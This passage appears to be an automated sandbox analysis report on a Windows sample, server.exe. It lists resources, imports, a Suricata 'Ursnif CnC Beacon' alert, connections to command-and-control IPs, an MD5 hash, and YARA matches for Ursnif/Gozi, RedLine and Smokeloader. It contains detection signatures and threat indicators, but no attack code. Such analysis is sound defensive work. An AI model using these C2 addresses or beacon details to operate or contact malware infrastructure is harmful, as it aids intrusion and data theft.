          RT_ICON0x26eba780x568Device independent bitmap graphic, 16 x 32 x 8, image size 0SerbianItaly
          RT_ICON0x26ebfe00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0SerbianItaly
          RT_ICON0x26ee5880x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0SerbianItaly
          RT_ICON0x26ef6300x468Device independent bitmap graphic, 16 x 32 x 32, image size 0SerbianItaly
          RT_ICON0x26efb000xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsSerbianItaly
          RT_ICON0x26f09a80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsSerbianItaly
          RT_ICON0x26f12500x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colorsSerbianItaly
          RT_ICON0x26f19180x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsSerbianItaly
          RT_ICON0x26f1e800x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216SerbianItaly
          RT_ICON0x26f44280x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096SerbianItaly
          RT_ICON0x26f54d00x988Device independent bitmap graphic, 24 x 48 x 32, image size 2304SerbianItaly
          RT_ICON0x26f5e580x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024SerbianItaly
          RT_ICON0x26f63380xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0SerbianItaly
          RT_ICON0x26f71e00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0SerbianItaly
          RT_ICON0x26f7a880x568Device independent bitmap graphic, 16 x 32 x 8, image size 0SerbianItaly
          RT_ICON0x26f7ff00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0SerbianItaly
          RT_ICON0x26fa5980x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0SerbianItaly
          RT_ICON0x26fb6400x988Device independent bitmap graphic, 24 x 48 x 32, image size 0SerbianItaly
          RT_ICON0x26fbfc80x468Device independent bitmap graphic, 16 x 32 x 32, image size 0SerbianItaly
          RT_ICON0x26fc4980xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0SerbianItaly
          RT_ICON0x26fd3400x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0SerbianItaly
          RT_ICON0x26fdbe80x6c8Device independent bitmap graphic, 24 x 48 x 8, image size 0SerbianItaly
          RT_ICON0x26fe2b00x568Device independent bitmap graphic, 16 x 32 x 8, image size 0SerbianItaly
          RT_ICON0x26fe8180x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0SerbianItaly
          RT_ICON0x2700dc00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0SerbianItaly
          RT_ICON0x2701e680x988Device independent bitmap graphic, 24 x 48 x 32, image size 0SerbianItaly
          RT_ICON0x27027f00x468Device independent bitmap graphic, 16 x 32 x 32, image size 0SerbianItaly
          RT_STRING0x27073800x2bedata
          RT_STRING0x27076400x492data
          RT_STRING0x2707ad80x5c6data
          RT_STRING0x27080a00x118data
          RT_STRING0x27081b80x52adata
          RT_ACCELERATOR0x2704d800x48dataSerbianItaly
          RT_ACCELERATOR0x2704dc80x18dataSerbianItaly
          RT_GROUP_CURSOR0x27052700x22data
          RT_GROUP_CURSOR0x2706f500x30data
          RT_GROUP_CURSOR0x27071600x22data
          RT_GROUP_ICON0x26fc4300x68dataSerbianItaly
          RT_GROUP_ICON0x26efa980x68dataSerbianItaly
          RT_GROUP_ICON0x26f62c00x76dataSerbianItaly
          RT_GROUP_ICON0x2702c580x76dataSerbianItaly
          RT_VERSION0x27071880x1f8data
          None0x2704de00xadata
          DLLImport
          KERNEL32.dllCreateHardLinkA, CallNamedPipeW, GetCommConfig, GetConsoleAliasesA, GetWindowsDirectoryA, FindResourceExA, GlobalAlloc, LoadLibraryW, CreateEventA, GetConsoleAliasExesLengthW, GetStringTypeExW, GetExitCodeProcess, lstrcpynW, EnumSystemCodePagesA, GetFileAttributesW, LocalReAlloc, WriteConsoleW, GetBinaryTypeA, MultiByteToWideChar, SetLastError, FindCloseChangeNotification, VirtualAlloc, GetFileType, WriteProfileSectionW, FreeEnvironmentStringsW, GetPrivateProfileSectionA, GetStringTypeW, EnumDateFormatsW, FindAtomW, DeleteTimerQueueTimer, GlobalAddAtomW, OpenFileMappingA, LCMapStringW, OpenJobObjectA, GetProcAddress, GetStartupInfoW, HeapAlloc, GetLastError, HeapFree, GetModuleHandleW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, Sleep, HeapSize, ExitProcess, SetUnhandledExceptionFilter, WriteFile, GetStdHandle, GetModuleFileNameA, GetModuleFileNameW, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetStartupInfoA, DeleteCriticalSection, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, LeaveCriticalSection, EnterCriticalSection, HeapReAlloc, RaiseException, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LoadLibraryA, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetModuleHandleA, LCMapStringA, WideCharToMultiByte, GetStringTypeA, GetLocaleInfoA
          USER32.dllNotifyWinEvent, LoadMenuW, GetMenuInfo, ValidateRect, ArrangeIconicWindows
          GDI32.dllGetGlyphIndicesA
          ADVAPI32.dllMapGenericMask
          Language of compilation systemCountry where language is spokenMap
          SerbianItaly
          TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
          192.168.2.45.44.43.1749695802033203 03/15/23-14:40:37.858863TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4969580192.168.2.45.44.43.17
          TimestampSource PortDest PortSource IPDest IP
          Mar 15, 2023 14:40:37.787641048 CET4969580192.168.2.45.44.43.17
          Mar 15, 2023 14:40:37.841355085 CET80496955.44.43.17192.168.2.4
          Mar 15, 2023 14:40:37.841609001 CET4969580192.168.2.45.44.43.17
          Mar 15, 2023 14:40:37.858863115 CET4969580192.168.2.45.44.43.17
          Mar 15, 2023 14:40:37.912709951 CET80496955.44.43.17192.168.2.4
          Mar 15, 2023 14:40:37.913563967 CET80496955.44.43.17192.168.2.4
          Mar 15, 2023 14:40:37.913654089 CET4969580192.168.2.45.44.43.17
          Mar 15, 2023 14:40:37.926760912 CET4969580192.168.2.45.44.43.17
          Mar 15, 2023 14:40:37.980429888 CET80496955.44.43.17192.168.2.4
          Mar 15, 2023 14:40:57.963377953 CET4969680192.168.2.431.41.44.108
          Mar 15, 2023 14:41:00.968698025 CET4969680192.168.2.431.41.44.108
          Mar 15, 2023 14:41:06.971541882 CET4969680192.168.2.431.41.44.108
          TimestampSource PortDest PortSource IPDest IP
          Mar 15, 2023 14:39:17.005433083 CET5657253192.168.2.48.8.8.8
          Mar 15, 2023 14:39:17.028251886 CET53565728.8.8.8192.168.2.4
          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
          Mar 15, 2023 14:39:17.005433083 CET192.168.2.48.8.8.80xa670Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
          Mar 15, 2023 14:39:17.028251886 CET8.8.8.8192.168.2.40xa670Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
          • 5.44.43.17
          No statistics
          Target ID:0
          Start time:14:39:04
          Start date:15/03/2023
          Path:C:\Users\user\Desktop\server.exe
          Wow64 process (32bit):true
          Commandline:C:\Users\user\Desktop\server.exe
          Imagebase:0x400000
          File size:316928 bytes
          MD5 hash:768928D17E8D3489407B540DBAD4A770
          Has elevated privileges:true
          Has administrator privileges:true
          Programmed in:C, C++ or other language
          Yara matches:
          • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.568856386.0000000002E48000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.459546153.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000002.568965498.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.460026895.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.459923049.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.568790164.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.459750539.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.459944740.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.459896893.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.459783978.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
          • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.460044843.0000000005258000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
          Reputation:low

          No disassembly